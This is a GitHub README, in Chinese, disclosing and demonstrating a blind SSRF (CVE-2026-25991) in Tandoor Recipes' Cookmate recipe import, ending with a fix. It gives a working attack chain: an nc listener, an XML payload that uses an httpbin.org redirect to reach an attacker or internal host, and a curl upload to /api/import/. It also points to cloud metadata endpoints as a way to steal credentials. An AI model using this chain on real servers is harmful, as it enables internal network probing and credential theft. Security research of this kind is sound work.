drkim-dev/CVE-2026-25991

GitHub: drkim-dev/CVE-2026-25991

针对 Tandoor Recipes ≤ 2.5.0 版本的 Blind SSRF 漏洞概念验证,通过 Cookmate 食谱导入功能绕过 URL 验证实现内网访问。

Stars: 2 | Forks: 0

# CVE-2026-25991 PoC - Tandoor Recipes SSRF **通过食谱导入实现 SSRF 的概念验证** **披露:** 由我通过 [GHSA-j6xg-85mh-qqf7](https://github.com/TandoorRecipes/recipes/security/advisories/GHSA-j6xg-85mh-qqf7) 最初报告 ⚠️ 仅限授权渗透测试/研究使用。 ## 漏洞信息 | 字段 | 值 | |-------|-------| | **CVE ID** | CVE-2026-25991 | | **严重性** | 🔴 高 | | **CVSS 分数** | 7.7 | | **CVSS 向量** | [CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N] | | **CWE** | CWE-918: Server-Side Request Forgery (SSRF) | | **受影响产品** | Tandoor Recipes ≤ 2.5.0 | | **修复版本** | 2.5.1 | | **公告** | [GHSA-j6xg-85mh-qqf7](https://github.com/TandoorRecipes/recipes/security/advisories/GHSA-j6xg-85mh-qqf7) | # CVE-2026-25991: 通过食谱导入实现 Blind SSRF 并访问内部网络 ### 概述 我在 Tandoor Recipes 的 `Cookmate` 食谱导入功能中发现了一个 **Blind Server-Side Request Forgery (SSRF)** 漏洞。该应用程序在跟随 HTTP 重定向后未能验证目标 URL,允许 **任何经过身份验证的用户(包括没有管理权限的标准用户)** 强制服务器连接到任意的内部或外部资源。 此漏洞可被利用来扫描内部网络端口、访问云实例元数据(例如 AWS/GCP Metadata Service),或泄露服务器的真实 IP 地址。 ### 详情 该漏洞位于 `cookbook/integration/cookmate.py` 文件中的 `Cookmate` 集成类中。 1. **初始逻辑**:当处理导入的 XML 文件时,应用程序会提取 `imageurl` 字段。 2. **初始检查**:URL 使用辅助函数 `validate_import_url`(位于 `cookbook/helper/HelperFunctions.py`)进行验证,该函数正确地阻止了私有 IP 范围(例如 `127.0.0.1`、`10.0.0.0/8`)。 3. **绕过方法(漏洞代码)**: 然而,在验证之后,代码立即使用 `requests.get(url)` 下载图片。默认情况下,`requests` 库会跟随重定向(`allow_redirects=True`)。 `validate_import_url` 函数 **只检查初始 URL**,但未能验证重定向发生后的最终目的地。 **漏洞代码片段 (`cookbook/integration/cookmate.py:73`):** ``` if validate_import_url(url): # CRITICAL: requests.get follows redirects by default, bypassing the initial check. response = requests.get(url) self.import_recipe_image(recipe, BytesIO(response.content)) ``` 攻击者可以使用外部服务(如 `httpbin.org`)将请求重定向到受限的内部地址(例如 `http://127.0.0.1:80/` 或 `http://169.254.169.254/`)。 **关键是,`AppImportView` (`cookbook/views/api.py`) 明确允许 `CustomIsUser` 权限,这意味着任何注册用户都可以触发此漏洞。** 不需要特殊的管理权限。 ### PoC (概念验证) **前置条件:** 1. Tandoor 实例上的一个 **标准用户账户**(非管理员)。 2. 本地安装了 Python(或任何 HTTP 监听工具,如 `nc`)。 **复现步骤:** 1. **设置监听器(攻击者机器):** 打开终端并启动 `nc` 以监听传入的连接。这模拟了一个内部服务或攻击者控制的服务器。 nc -lvnp 9999 2. **创建恶意 XML Payload:** 创建一个名为 `payload.xml` 的文件。将 `` 替换为您的公共 IP 地址(或可访问的 IP)。 此 payload 使用 `httpbin.org` 绕过初始的私有 IP 检查并重定向到您的监听器。 SSRF_PoC https://httpbin.org/redirect-to?url=http%3A%2F%2F%3A9999%2Fsecret.txt 화면 캡처 2026-02-07 125056 3. **创建 ZIP 压缩包:** Tandoor 要求 XML 必须位于 ZIP 文件内。 zip payload.zip payload.xml 4. **执行漏洞利用(通过 API):** 以 **标准用户**(非管理员)身份登录以获取会话 Cookie 和 CSRF token。 然后向 `/api/import/` 发送 POST 请求: (将 ``、``、`` 替换为实际值) curl -X POST 'http:///api/import/' \ -H 'Cookie: sessionid=; csrftoken=' \ -H 'X-CSRFToken: ' \ -F 'type=COOKMATE' \ -F 'files=@payload.zip' \ -F 'duplicates=true' 화면 캡처 2026-02-07 124915 화면 캡처 2026-02-07 124606 5. **验证连接:** 检查您的监听器终端(`nc`)。您将看到来自 Tandoor 服务器的传入 HTTP GET 请求。 这证实了服务器代表标准用户已连接到任意的内部/外部资源。 GET /secret.txt HTTP/1.1 Host: :9999 User-Agent: python-requests/2.x.x ... 화면 캡처 2026-02-07 124642 ### 影响 * **内部网络扫描**:攻击者可以探测内部端口以发现正在运行的服务。 * **云元数据泄露**:如果部署在 AWS/GCP/Azure 上,攻击者可以访问实例元数据(例如 `http://169.254.169.254/latest/meta-data/`)以窃取 IAM 凭证,从而导致基础设施完全沦陷。 * **严重性**:**高 (CVSS ~8.0)**,因为它需要低权限(标准用户)且可能导致重大影响(元数据访问/内部扫描)。 ### 修复方案 在 `requests.get` 调用中禁用自动重定向跟随,或对重定向 URL 实施严格验证。 **Diff(建议修复):** ``` # cookbook/integration/cookmate.py # 选项 1:禁用重定向 (推荐) response = requests.get(url, allow_redirects=False) # 选项 2:验证重定向 # (需要复杂的逻辑来检查针对私有 IP 范围的每个重定向跳数) ```
标签:AWS元数据, Blind SSRF, CVE-2026-25991, CWE-918, GitHub, HTTP重定向, PoC, Python, Requests库, SSRF, Tandoor Recipes, Web安全, 云元数据泄露, 内网探测, 安全漏洞, 密码管理, 插件系统, 无后门, 暴力破解, 服务器端请求伪造, 概念验证, 盲注SSRF, 绕过过滤, 网络安全, 蓝队分析, 逆向工具, 隐私保护, 食谱管理软件